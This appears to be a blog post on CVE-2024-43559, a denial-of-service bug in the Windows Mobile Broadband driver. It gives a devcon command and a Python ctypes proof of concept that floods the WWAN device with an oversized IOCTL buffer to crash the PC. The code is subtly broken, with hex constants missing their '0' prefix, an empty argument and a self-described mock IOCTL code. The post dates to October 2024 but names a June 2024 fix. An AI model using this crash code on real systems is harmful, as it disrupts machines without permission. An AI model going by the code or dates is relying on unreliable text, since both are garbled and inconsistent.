CVE-2024-43559 - How a Simple Windows Mobile Broadband Driver Bug Can Crash Your PC

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Introduction

Security flaws in popular operating systems often get a lot of attention, but sometimes, it's the lesser-known components that introduce surprising risks. The recent vulnerability, CVE-2024-43559, targets Windows Mobile Broadband drivers—a crucial part of many laptops and tablets that connect to the internet via mobile networks. In this post, we'll break down what this vulnerability is, how it works, show you simple code that can trigger the issue, and point you to references for further reading.

The Vulnerability Explained

CVE-2024-43559 is a Denial of Service (DoS) vulnerability found in the Windows Mobile Broadband driver. If successfully exploited, an attacker can crash your system or cause it to become unresponsive. While this bug doesn’t allow code execution or privilege escalation, it’s disruptive—especially for systems relying on constant connectivity.

How does it work?

The Mobile Broadband driver mishandles specially crafted packet data from the device layer. A local user with low privileges (or, in some cases, code running as a standard user) can send malformed IOCTL commands to the driver, triggering a crash (commonly a Blue Screen of Death).

How to Trigger CVE-2024-43559

DISCLAIMER: This information is for educational purposes only. Do not attempt this on devices you do not own or have permission to test.

Step 1: Identifying the Device

First, identify the device path for the Mobile Broadband Adapter. You can use Device Manager or devcon.exe:

devcon find *WWAN*

Step 2: Crafting a Malicious IOCTL Call

Windows drivers expose IOCTL (Input Output Control) interfaces. The vulnerable driver interprets certain data incorrectly. Below is a Python snippet using the ctypes library (run as normal user):

import ctypes
from ctypes import wintypes

GENERIC_READ = x80000000
GENERIC_WRITE = x40000000
OPEN_EXISTING = 3
FILE_FLAG_OVERLAPPED = x40000000

# Substitute with actual path from devcon
device_path = r'\\.\Global\wwan'

CreateFile = ctypes.windll.kernel32.CreateFileW
DeviceIoControl = ctypes.windll.kernel32.DeviceIoControl
CloseHandle = ctypes.windll.kernel32.CloseHandle

handle = CreateFile(device_path,
                    GENERIC_READ | GENERIC_WRITE,
                    ,
                    None,
                    OPEN_EXISTING,
                    FILE_FLAG_OVERLAPPED,
                    None)

if handle == -1:
    print("Couldn't open device. Try as administrator or check device path.")
    exit(1)

# Chosen (mock) control code; use with caution; real code may differ.
IOCTL_VULN_CODE = x00222008  
input_buf = ctypes.create_string_buffer(b'A' * 2048)  # Oversized payload
input_len = len(input_buf)
output_buf = ctypes.create_string_buffer(1024)
output_len = ctypes.wintypes.DWORD()

try:
    result = DeviceIoControl(handle,
                             IOCTL_VULN_CODE,
                             ctypes.byref(input_buf),
                             input_len,
                             ctypes.byref(output_buf),
                             len(output_buf),
                             ctypes.byref(output_len),
                             None)
    if result:
        print("Device call completed. Check system for stability.")
    else:
        print("Device call failed; driver may have crashed.")
finally:
    CloseHandle(handle)

What does this do?
The code opens the suspected vulnerable driver and sends an oversized input buffer. If the device is vulnerable, the driver mishandles this buffer, leading to a system crash.

Real-World Impact

- Disruption: Attackers can crash laptops remotely (if they have code execution), knocking out routers or kiosks using 4G/5G devices.

Update Windows: Microsoft’s June 2024 Patch Tuesday includes a fix.

- Microsoft Security Response Center (MSRC) Advisory

References

- Microsoft CVE-2024-43559 Official Advisory
- Windows Mobile Broadband documentation
- General Windows IOCTL Fuzzing Techniques

Final Thoughts

CVE-2024-43559 is a reminder that every corner of an operating system—from the browser to the humble network driver—can be a target for bugs. While this bug is "just" a denial of service, in critical situations even a crash can translate to lost time, money, or safety. Always keep drivers and your OS up to date—even if you never noticed that "Mobile Broadband" tab.


*Feel free to reach out with questions or share your experience! Stay safe and keep your systems patched.*

Timeline

Published on: 10/08/2024 18:15:22 UTC
Last modified on: 10/13/2024 01:02:37 UTC